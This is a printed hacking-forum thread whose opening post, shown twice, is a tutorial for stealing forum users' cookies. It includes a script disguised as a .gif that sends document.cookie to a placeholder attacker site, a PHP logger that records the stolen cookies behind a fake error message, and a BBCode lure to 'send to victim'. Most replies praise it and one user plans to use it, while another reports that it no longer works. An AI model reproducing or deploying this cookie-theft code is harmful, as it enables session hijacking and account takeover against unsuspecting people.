Sinisterly
Steal Cookies With A Gif From A Forum - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.li/Forum-Tutorials)
+--- Thread: Steal Cookies With A Gif From A Forum (/Thread-Steal-Cookies-With-A-Gif-From-A-Forum)

Pages: 1 2


Steal Cookies With A Gif From A Forum - Kaveman - 10-30-2011

1 Step : Open Notepad And Copy It

Code:
<script>location.href='http://www.yoursite.com/cookielogger.php?cookie='+escape(document.cookie)</SCRIPT>

Save It As fun.gif


2 Step : We Make Logger

Code:
<?php $filename = "logfile.txt"; if (isset($_GET["cookie"])) { if (!$handle = fopen($filename, 'a')) { echo "Temporary Server Error,Sorry for the inconvenience."; exit; } else { if (fwrite($handle, "\r\n" . $_GET["cookie"]) === FALSE) { echo "Temporary Server Error,Sorry for the inconvenience."; exit; } } echo "Temporary Server Error,Sorry for the inconvenience."; fclose($handle); exit; } echo "Temporary Server Error,Sorry for the inconvenience."; exit; ?>

Save It As cookielogger.php


3 Step : Now Open New Notepad And Save Blank Notepad File As Logfile.txt


4 Step : Upload It To Your Hosting

cookielogger.php > http://www.yoursite.com/cookielogger.php
logfile.txt > http://www.yoursite.com/logfile.txt (chmod 777)
fun.gif > http://www.yoursite.com/fun.gif


Now Send This To Victim

Code:
[url=http://yoursite/fun.gif][img]http://the url of picture That U Wnat To Be Seen By Your Victim[/img][/url]


+rep if u like my tut


Steal Cookies With A Gif From A Forum - Kaveman - 10-30-2011

1 Step : Open Notepad And Copy It

Code:
<script>location.href='http://www.yoursite.com/cookielogger.php?cookie='+escape(document.cookie)</SCRIPT>

Save It As fun.gif


2 Step : We Make Logger

Code:
<?php $filename = "logfile.txt"; if (isset($_GET["cookie"])) { if (!$handle = fopen($filename, 'a')) { echo "Temporary Server Error,Sorry for the inconvenience."; exit; } else { if (fwrite($handle, "\r\n" . $_GET["cookie"]) === FALSE) { echo "Temporary Server Error,Sorry for the inconvenience."; exit; } } echo "Temporary Server Error,Sorry for the inconvenience."; fclose($handle); exit; } echo "Temporary Server Error,Sorry for the inconvenience."; exit; ?>

Save It As cookielogger.php


3 Step : Now Open New Notepad And Save Blank Notepad File As Logfile.txt


4 Step : Upload It To Your Hosting

cookielogger.php > http://www.yoursite.com/cookielogger.php
logfile.txt > http://www.yoursite.com/logfile.txt (chmod 777)
fun.gif > http://www.yoursite.com/fun.gif


Now Send This To Victim

Code:
[url=http://yoursite/fun.gif][img]http://the url of picture That U Wnat To Be Seen By Your Victim[/img][/url]


+rep if u like my tut


RE: Steal Cookies With A Gif From A Forum - Kaveman - 11-05-2011

Yes..

It's Saved There http://www.yoursite.com/logfile.txt


RE: Steal Cookies With A Gif From A Forum - TOBINHO - 03-22-2012

FANTANSTIC TUTORIAL..MAN


RE: Steal Cookies With A Gif From A Forum - Tripication - 03-24-2012

Wow, i'll be sure to check it out. Thanks man


RE: Steal Cookies With A Gif From A Forum - TheShadow1 - 03-24-2012

I already knew this, but pretty nice!


RE: Steal Cookies With A Gif From A Forum - Batcher - 03-26-2012

wot do u mean "the url of picture That U Wnat To Be Seen By Your Victim" ??
Like this?
Code:
[url=http://yoursite/fun.gif][img]http://tinypic.com/blabla.gif or jpg??[/img][/url]

so victim must click on dat image right?

Edit:
I clicked it. log file is empty. tested on firefox, chrome

Error:
Quote:The image "http://ursite.gif" cannot be displayed becoz it contain errors.

dsnt working anymore


RE: Steal Cookies With A Gif From A Forum - user123456789 - 03-26-2012

Nice Tutorial Smile Thanks 4 Sharing Wink


RE: Steal Cookies With A Gif From A Forum - akatzbreaker - 04-01-2012

Great TUT Man, i am going to use it!


RE: Steal Cookies With A Gif From A Forum - abdoupirat - 04-04-2012

thank you for the tuto !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!